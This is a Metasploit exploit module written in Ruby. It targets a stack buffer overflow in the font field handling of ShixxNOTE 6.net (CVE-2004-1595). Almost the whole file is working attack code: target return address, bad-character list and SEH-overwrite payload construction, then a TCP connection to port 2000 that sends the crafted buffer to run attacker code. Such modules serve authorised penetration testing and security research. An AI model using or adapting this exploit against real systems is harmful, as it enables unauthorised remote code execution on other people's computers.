metasploit-gs/modules/exploits/windows/misc/shixxnote_font.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ShixxNOTE 6.net Font Field Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in ShixxNOTE 6.net.
        The vulnerability is caused due to boundary errors in the
        handling of font fields.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2004-1595'],
          ['OSVDB', '10721'],
          ['BID', '11409'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 650,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',

      'Targets'        =>
        [
          [ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
        ],

      'Privileged'     => false,

      'DisclosureDate' => '2004-10-04',

      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(2000)
      ])

  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    sploit  =  rand_text_alpha_upper(8, payload_badchars)
    sploit  += "~~"
    sploit  += rand_text_alpha_upper(118, payload_badchars)

    seh     =  generate_seh_payload(target.ret)

    sploit[112, seh.length] = seh
    sploit  += rand_text_alpha_upper(200, payload_badchars)
    sploit  += "~" * 10

    sock.put(sploit)

    handler
    disconnect
  end
end